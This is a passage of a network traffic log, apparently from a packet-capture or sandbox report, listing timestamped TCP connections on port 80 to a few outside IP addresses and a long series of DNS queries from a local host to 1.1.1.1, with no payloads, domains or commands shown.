Oct 28, 2024 16:52:55.000348091 CET	60010	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:55.000415087 CET	60010	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:55.005763054 CET	80	60010	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:55.005781889 CET	80	60010	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:55.911803007 CET	80	60010	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:55.911894083 CET	60010	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:55.911957026 CET	60010	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:55.911974907 CET	80	60010	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:55.912029028 CET	60010	80	192.168.2.5	172.234.222.143
Oct 28, 2024 16:52:55.917431116 CET	80	60010	172.234.222.143	192.168.2.5
Oct 28, 2024 16:52:55.953800917 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:55.959202051 CET	80	60011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:55.959275961 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:55.959419012 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:55.959434032 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:55.964767933 CET	80	60011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:55.964819908 CET	80	60011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:57.789963007 CET	80	60011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:57.789998055 CET	80	60011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:57.790080070 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:57.790224075 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:57.804784060 CET	80	60011	18.141.10.107	192.168.2.5
Oct 28, 2024 16:52:57.804858923 CET	60011	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:52:57.830080986 CET	60012	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:52:57.835583925 CET	80	60012	82.112.184.197	192.168.2.5
Oct 28, 2024 16:52:57.835674047 CET	60012	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:52:57.835853100 CET	60012	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:52:57.835887909 CET	60012	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:52:57.842160940 CET	80	60012	82.112.184.197	192.168.2.5
Oct 28, 2024 16:52:57.842190027 CET	80	60012	82.112.184.197	192.168.2.5
Oct 28, 2024 16:53:06.343703032 CET	80	60012	82.112.184.197	192.168.2.5
Oct 28, 2024 16:53:06.343871117 CET	60012	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:53:06.343954086 CET	60012	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:53:06.349351883 CET	80	60012	82.112.184.197	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 16:49:58.852785110 CET	59553	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:49:58.860671997 CET	53	59553	1.1.1.1	192.168.2.5
Oct 28, 2024 16:49:59.705899954 CET	51752	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:49:59.871634007 CET	53	51752	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:00.006891012 CET	63435	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:00.014678955 CET	53	63435	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:00.904794931 CET	59604	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:00.915004969 CET	53	59604	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:01.449763060 CET	52458	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:01.637240887 CET	53	52458	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:02.676984072 CET	53839	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:02.686670065 CET	53	53839	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:02.697407007 CET	50945	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:02.707448959 CET	53	50945	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:03.595184088 CET	54846	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:03.603594065 CET	53	54846	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:04.596829891 CET	62067	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:04.604485035 CET	53	62067	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:06.147089005 CET	62493	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:06.156002045 CET	53	62493	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:06.156759977 CET	64098	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:06.166157961 CET	53	64098	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:07.680524111 CET	57551	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:07.689302921 CET	53	57551	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:07.690089941 CET	51828	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:07.706392050 CET	53	51828	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:07.707196951 CET	61665	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:07.715833902 CET	53	61665	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:24.868803024 CET	64572	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:24.877491951 CET	53	64572	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:41.970679998 CET	54829	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:41.978333950 CET	53	54829	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:43.751815081 CET	56071	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:43.944245100 CET	53	56071	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:45.692521095 CET	65514	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:45.700907946 CET	53	65514	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:46.600362062 CET	57664	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:46.610321045 CET	53	57664	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:48.354352951 CET	54751	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:48.362464905 CET	53	54751	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:49.995340109 CET	49177	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:50.003856897 CET	53	49177	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:51.219710112 CET	65014	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:51.228598118 CET	53	65014	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:52.189018011 CET	63393	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:52.197299957 CET	53	63393	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:53.309561014 CET	51401	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:53.317384005 CET	53	51401	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:55.282622099 CET	60735	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:55.290446997 CET	53	60735	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:56.291156054 CET	58531	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:56.299453020 CET	53	58531	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:57.448195934 CET	50914	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:57.459569931 CET	53	50914	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:58.583786964 CET	61267	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:58.592896938 CET	53	61267	1.1.1.1	192.168.2.5
Oct 28, 2024 16:50:59.360500097 CET	56683	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:50:59.370845079 CET	53	56683	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:00.736924887 CET	55898	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:00.744595051 CET	53	55898	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:01.847632885 CET	55075	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:01.861124992 CET	53	55075	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:02.706526041 CET	62642	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:02.853996992 CET	53	62642	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:04.133127928 CET	57553	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:04.141012907 CET	53	57553	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:05.247001886 CET	62905	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:05.255964994 CET	53	62905	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:07.026309967 CET	61665	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:07.037302017 CET	53	61665	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:08.184406042 CET	63173	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:08.192347050 CET	53	63173	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:09.505151987 CET	58669	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:09.514775991 CET	53	58669	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:11.115056038 CET	54402	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:11.123327017 CET	53	54402	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:11.124059916 CET	49160	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:11.133649111 CET	53	49160	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:12.376104116 CET	60957	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:12.384679079 CET	53	60957	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:13.751931906 CET	61680	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:13.760292053 CET	53	61680	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:15.451435089 CET	49331	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:15.459930897 CET	53	49331	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:16.915152073 CET	64877	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:17.120539904 CET	53	64877	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:19.038057089 CET	55447	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:19.046371937 CET	53	55447	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:20.667340040 CET	51747	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:20.676110983 CET	53	51747	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:22.145462990 CET	62945	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:22.339181900 CET	53	62945	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:23.200151920 CET	55360	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:23.208785057 CET	53	55360	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:24.171866894 CET	59726	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:24.180802107 CET	53	59726	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:25.040499926 CET	61285	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:25.051558018 CET	53	61285	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:26.042457104 CET	57358	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:26.050436020 CET	53	57358	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:26.964453936 CET	52374	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:26.973980904 CET	53	52374	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:28.446038008 CET	64941	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:28.454154015 CET	53	64941	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:29.635479927 CET	52454	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:29.644123077 CET	53	52454	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:31.091511965 CET	61105	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:31.099509001 CET	53	61105	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:31.825014114 CET	65227	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:31.834434032 CET	53	65227	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:31.848088980 CET	50474	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:31.858166933 CET	53	50474	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:33.316127062 CET	62900	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:33.324261904 CET	53	62900	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:34.339103937 CET	58050	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:34.346837044 CET	53	58050	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:35.823595047 CET	60632	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:35.832168102 CET	53	60632	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:37.317483902 CET	56254	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:37.326235056 CET	53	56254	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:38.033188105 CET	58570	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:38.041331053 CET	53	58570	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:38.885278940 CET	54407	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:38.894041061 CET	53	54407	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:39.576380014 CET	56139	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:39.600198030 CET	56139	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:39.775540113 CET	53	56139	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:39.775577068 CET	53	56139	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:40.631932020 CET	49365	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:40.640727997 CET	53	49365	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:41.621439934 CET	53826	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:41.629086971 CET	53	53826	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:43.060237885 CET	60331	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:43.068480015 CET	53	60331	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:44.064688921 CET	64742	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:44.073437929 CET	53	64742	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:45.518876076 CET	63547	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:45.527640104 CET	53	63547	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:46.240827084 CET	58788	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:46.251173973 CET	53	58788	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:47.095659018 CET	59118	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:47.115859032 CET	59118	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:47.195848942 CET	53	59118	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:47.195888996 CET	53	59118	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:48.630945921 CET	56321	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:48.639446974 CET	53	56321	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:48.940952063 CET	52681	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:48.948714972 CET	53	52681	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:49.635838032 CET	64882	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:49.662869930 CET	64882	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:49.830969095 CET	53	64882	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:49.831022024 CET	53	64882	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:50.904371977 CET	64350	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:50.912482023 CET	53	64350	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:51.629144907 CET	55522	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:51.638003111 CET	53	55522	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:52.613784075 CET	57553	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:52.621853113 CET	53	57553	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:53.481059074 CET	53315	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:53.489981890 CET	53	53315	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:54.334994078 CET	53121	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:54.342746019 CET	53	53121	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:55.195916891 CET	60042	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:55.225258112 CET	60042	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:55.642637014 CET	53	60042	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:55.643920898 CET	53	60042	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:56.323522091 CET	53021	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:56.331598997 CET	53	53021	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:57.040815115 CET	58737	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:57.049442053 CET	53	58737	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:57.049976110 CET	58385	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:57.058105946 CET	53	58385	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:58.726229906 CET	50537	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:58.736538887 CET	53	50537	1.1.1.1	192.168.2.5
Oct 28, 2024 16:51:59.426347971 CET	50941	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:51:59.434878111 CET	53	50941	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:00.890336990 CET	60551	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:00.898654938 CET	53	60551	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:01.565340042 CET	53034	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:01.573326111 CET	53	53034	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:03.048366070 CET	60077	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:03.057043076 CET	53	60077	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:04.178684950 CET	52308	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:04.187935114 CET	53	52308	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:04.878850937 CET	50110	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:04.888478041 CET	53	50110	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:05.732358932 CET	63432	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:05.741265059 CET	53	63432	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:06.681616068 CET	61567	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:06.709644079 CET	61567	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:06.875269890 CET	53	61567	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:06.875370026 CET	53	61567	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:07.869496107 CET	55131	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:07.879863024 CET	53	55131	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:08.791812897 CET	51727	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:08.800915003 CET	53	51727	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:10.249466896 CET	62351	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:10.272289991 CET	62351	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:10.346066952 CET	53	62351	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:10.346221924 CET	53	62351	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:11.838620901 CET	57088	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:11.847137928 CET	53	57088	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:12.525034904 CET	49711	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:12.534884930 CET	53	49711	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:13.224611044 CET	52406	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:13.240909100 CET	52406	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:13.324201107 CET	53	52406	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:13.324506044 CET	53	52406	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:14.000179052 CET	49711	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:14.008375883 CET	53	49711	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:15.882416964 CET	58235	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:15.891592979 CET	53	58235	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:16.572091103 CET	54038	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:16.580157042 CET	53	54038	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:17.429893970 CET	52714	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:17.437978029 CET	53	52714	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:18.273001909 CET	49985	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:18.281899929 CET	53	49985	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:20.085882902 CET	62796	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:20.094315052 CET	53	62796	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:21.534456968 CET	55545	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:21.543230057 CET	53	55545	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:22.220501900 CET	51083	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:22.228643894 CET	53	51083	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:22.909151077 CET	62187	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:22.917493105 CET	53	62187	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:24.367496014 CET	61251	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:24.397169113 CET	61251	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:24.738147974 CET	53	61251	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:24.738199949 CET	53	61251	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:26.183563948 CET	54373	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:26.191303015 CET	53	54373	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:26.885880947 CET	52395	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:26.894248962 CET	53	52395	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:29.265113115 CET	52455	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:29.274249077 CET	53	52455	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:30.286562920 CET	61618	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:30.297322989 CET	53	61618	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:31.717844963 CET	54330	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:31.725974083 CET	53	54330	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:32.565366983 CET	61809	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:32.584656000 CET	61809	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:32.592679024 CET	53	61809	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:32.764786005 CET	53	61809	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:34.120029926 CET	61958	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:34.127774954 CET	53	61958	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:34.803026915 CET	55748	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:34.811053991 CET	53	55748	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:35.773544073 CET	59330	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:35.782659054 CET	53	59330	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:35.783262014 CET	65480	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:35.803380013 CET	65480	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:35.972095966 CET	53	65480	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:35.972496986 CET	53	65480	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:36.833779097 CET	62678	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:36.850354910 CET	62678	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:37.020433903 CET	53	62678	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:37.020634890 CET	53	62678	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:37.724124908 CET	60111	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:37.733566999 CET	53	60111	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:38.611879110 CET	60710	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:38.621171951 CET	53	60710	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:39.472476959 CET	64282	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:39.490998983 CET	64282	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:39.572206974 CET	53	64282	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:39.572381020 CET	53	64282	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:40.424464941 CET	57610	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:40.433012009 CET	53	57610	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:41.273962021 CET	50621	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:41.282356977 CET	53	50621	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:42.715226889 CET	56153	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:42.724096060 CET	53	56153	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:43.567548990 CET	61015	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:43.584938049 CET	61015	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:43.668418884 CET	53	61015	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:43.668629885 CET	53	61015	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:44.344449997 CET	56615	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:44.352428913 CET	53	56615	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:45.039546967 CET	61080	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:45.047836065 CET	53	61080	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:45.898952007 CET	55049	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:45.907679081 CET	53	55049	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:46.587510109 CET	49338	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:46.601392031 CET	53	49338	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:47.461843967 CET	51262	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:47.470410109 CET	53	51262	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:48.177464962 CET	55465	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:48.185862064 CET	53	55465	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:49.104918957 CET	61194	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:49.113341093 CET	53	61194	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:49.964350939 CET	64713	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:49.973752022 CET	53	64713	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:50.838552952 CET	58628	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:50.849951982 CET	53	58628	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:52.320836067 CET	49540	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:52.329271078 CET	53	49540	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:53.580005884 CET	54327	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:53.587981939 CET	53	54327	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:54.306361914 CET	53017	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:54.314738989 CET	53	53017	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:55.912970066 CET	51763	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:55.921621084 CET	53	51763	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:55.922346115 CET	61825	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:55.931016922 CET	53	61825	1.1.1.1	192.168.2.5
Oct 28, 2024 16:52:55.944669962 CET	61825	53	192.168.2.5	1.1.1.1
Oct 28, 2024 16:52:55.951780081 CET	53	61825	1.1.1.1	192.168.2.5
